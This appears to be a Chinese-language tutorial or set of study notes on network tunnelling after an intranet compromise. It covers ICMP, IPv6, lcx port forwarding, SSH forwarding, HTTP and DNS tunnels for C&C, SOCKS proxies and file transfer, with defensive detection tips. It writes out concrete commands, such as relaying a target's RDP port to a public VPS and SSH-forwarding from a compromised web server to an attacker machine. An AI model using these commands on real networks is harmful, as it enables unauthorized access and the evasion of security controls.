隐藏通信信息隧道技术用于在访问受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的信息传输。
咱也就是说这是进内网了留个通道传数据
常用隧道:
网络层:IPv6隧道、ICMP隧道、GRE隧道
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
一、判断内网连通外网情况
通过多种协议判断,常见允许流量出站端口号:80、8080、443、53、110、123等
1.ICMP协议
用内网机器ping外网ip
2.TCP协议
实用工具NC,也就是之前文章使用过的“军刀”,在内网机器下载nc,执行:
nc -zv ipaddress portnumber
3.HTTP协议
使用工具 curl
linux:系统自带。
windows:需要下载。
用法: curl ipaddress:portnumber
4.DNS协议
常用命令:nslookup、dig
nslookup(windows自带):nslookup ipaddress vps-ip
dig(linux自带):dig @vps-ip ipaddress
当流量不能直接出站,就需要在内网中使用代理服务器
a.查看网络连接,是否存在与其他机器的8080等端口的连接(可运行 ping -n l -a ip)
b.查看内网主机名有无带“proxy”的机器
c.查看浏览器的直接代理
d.根据pac文件的路径(可能是本地可能是远程)将其下载查看
e.用工具:curl ipaddress //不通
curl -x proxy -ip:port ipaddress //通
二、网络层隧道技术
最常用IPv6和ICMP
1.IPv6隧道
以IPv4作为隧道载体,把IPv6报文封装在IPv4报文内部,使IPv6报文能够传递。
目前很多边界设备、防火墙、IPS、IDS无法识别IPv6的通信数据,而大多数操作系统支持IPv6,所以需要进行人工配置。也就是说,攻击者可以利用和一点来绕过安全设备。
隧道技术有配置隧道和自动隧道,区别在于:
只有执行隧道的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。
配置隧道要求隧道末端节点使用其他机制获取IPv4地址
支持IPv6的隧道工具:socat、6tunnel、nt6tunnel等
【防御】:了解ipv6的具体漏洞,用防火墙和纵深防御来过滤ipv6通信
2.ICMP隧道
常用ICMP隧道工具:icmpsh、PingTunnel、icmptunnel、power shell icmp等
【防御】:由于使用ICMP隧道会产生大量ICMP报文,可以通过检测来分析流量
·检测来自同一来源的ICMP报文。ping一般每秒最多发2个数据包,但使用ICMP隧道的浏览器会产生上千ICMP数据包
·注意payload大于64bit的ICMP数据包
·寻找响应数据包中的payload与请求包的payload不一致的ICMP数据包
·检查ICMP数据包的协议标签。例如,icmptunnel会在所有ICMP payload前添加“TUNL”
三、传输层隧道
当内网防火墙阻止对指定端口访问,在获取目标机器之后,可以使用IPTABLES打开指定端口(linux)
1.lcx端口转发
lcx是最经典的端口转发工具,它基于socket套接字实现端口转发。
在windows版本:lcx.exe
在linux版本:portmap
内网端口转发
(1)使用命令把目标机器3389端口所有数据转发到公网VPS的4444端口上:
lcx.exe -slave 公网ipaddress 4444 127.0.0.1 3389
(2)在VPS这台机器执行命令,把本机4444端口监听到的的数据转发到5555端口
lcx.exe -listen 4444 5555
(3)用 mstsc 连接远程桌面。用mstsc登录 公网ipaddress:5555,或者在VPS用mstsc登陆主机127.0.0.1:5555,用这两种方式访问目标服务器3389端口
本地端口映射
若防火墙把3389ban了不给过,此时可以将目标服务器的相应端口的数据透传到防火墙允许的端口,比如转到53。在目标主机执行,允许远程连接目标主机的53端口
lcx -tran 53 目标主机ipaddress 3389
2.netcat
之前实验用过netcat,可以查看以前文章
此处说明一下在内网环境,如果我们获取了web服务器权限,但是从外网无法直接访问其他内网服务器,就可以把web服务器作为代理服务器,反弹shell。这样的思路叫做内网代理。
四、应用层隧道技术
应用软件提供的端口来发送数据
1.ssh协议
【本地转发】
因为大部分防火墙都会通过ssh所以很多时候黑客会利用ssh协议传输数据
类似的,一般都用内网中被控制的机器作为跳板,去访问其他机器。
ssh -CfNg -L 1111(黑客机port) : 1.1.1.1(目标机器) :3389(目标port) root@192.168.1.11(跳板机)
然后输入跳板机密码,就实现了黑客机连接目标主机。也就是说这是通过web来访问目标机3389
用命令查看连接情况:
netstat -tulnp | grep “1111” //查看端口监听情况
rdesktop 127.0.0.1:1111 //在黑客机看1111情况
【远程转发】
有种情况,黑客机不能访问内网,但是内网中的web服务器可以访问外网,那么,我们可以通过web服务器让黑客机的数据转发到目标机的3389端口。
在我们获取的web服务器输入:
ssh -CfNg -R 2222(黑客机port) : 1.1.1.10(目标主机) :3389 root@192.168.1.4(黑客机)
【本地转发和远程转发】
本地转发,黑客机的指定端口接收远程主机(目标机)某个端口的数据
远程转发,黑客机利用ssh隧道,将所有访问远程主机(目标机)指定端口的数据传到本机对应端口
【动态转发】
动态端口映射是建立一个ssh加密的socks 4/5代理通道
【防御】:
设置白名单,指定ip才能连ssh
2.HTTP、HTTPS协议
【用处】HTTP Service代理用于将所有流量转发到内网。
【工具】reGeorg、meterpreter、tunna等
【意义】使用HTTP隧道进行端口转发,不仅攻击者可以直接访问web服务器3389,而且暴力破解产生的流量特征不明显。所以我们平时维护要注意监控HTTP隧道情况
3.DNS协议
【用处】激增的DNS流量可能会被发现,但是基于传统的Socket隧道已经濒临淘汰。DNS、ICMP、HTTP/HTTPs由于难以被禁用,成为了攻击者控制隧道的主流渠道
为啥?因为你要域名解析就要用DNS,注意的是防火墙和入侵检测大都不会过滤掉DNS流量,DNS报文本身可以说是有穿透防火墙的能力
C&C服务器(command and control server)
用于管理僵尸网络以及进行APT攻击的服务器,分为:服务端(攻击者)—客户端(被控制的计算机)
C&C通信:植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信
DNS隧道技术其实用来实现C&C通信的,DNS解析预期返回一个ip地址,但是注意,返回的可以是任意字符串,包括加密的C&C指令。DNS隧道原理就是用DNS报文封装其他协议报文
使用DNS隧道的思路:
(1)查看DNS连通性
查看当前服务器是否允许通过内部DNS解析外部域名
cat /etc/resolv.confi|grep -v ‘#’ //查询当前内部域名和ip地址
nslookup hacke.testlab //查看能否与内部DNS通信
nslookup baidu.com //查看能否通过内部DNS服务器解析外部域名
(2)工具
dnscat2:
该工具使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证。
两个模式:直连模式、中继模式
iodine:kali内置
【防御】:
·禁止网络中任何人向外部服务器发送dns请求,只允许与受信任的DNS服务器通信
·将邮件服务器、网关列入白名单并阻止传入和传出流量的TXT请求
·跟踪用户的DNS查询次数
·阻止ICMP
五、SOCKS代理
socks4:仅支持TCP协议
socks5:除了TCP,还支持各种身份验证机制,标准端口为 1080
socks能实现与目标内网计算机进行通信,避免多次端口转发
[工具]:EarthWorm、reGeorg、Socks、SocksCap64、Proxifier、ProxyChains
六、压缩数据
【意义】传得快
【工具】RAR、7-Zip
七、上传下载
假设情况不能上传shell但是可以执行命令的windows服务器,可以在shell命令行环境中对目标服务器进行上传和下载。
上传:
1.利用FTP
2.利用VBS
3.利用Debug
4.利用Nishang
下载:
1.利用bitsadmin
2.利用powershell
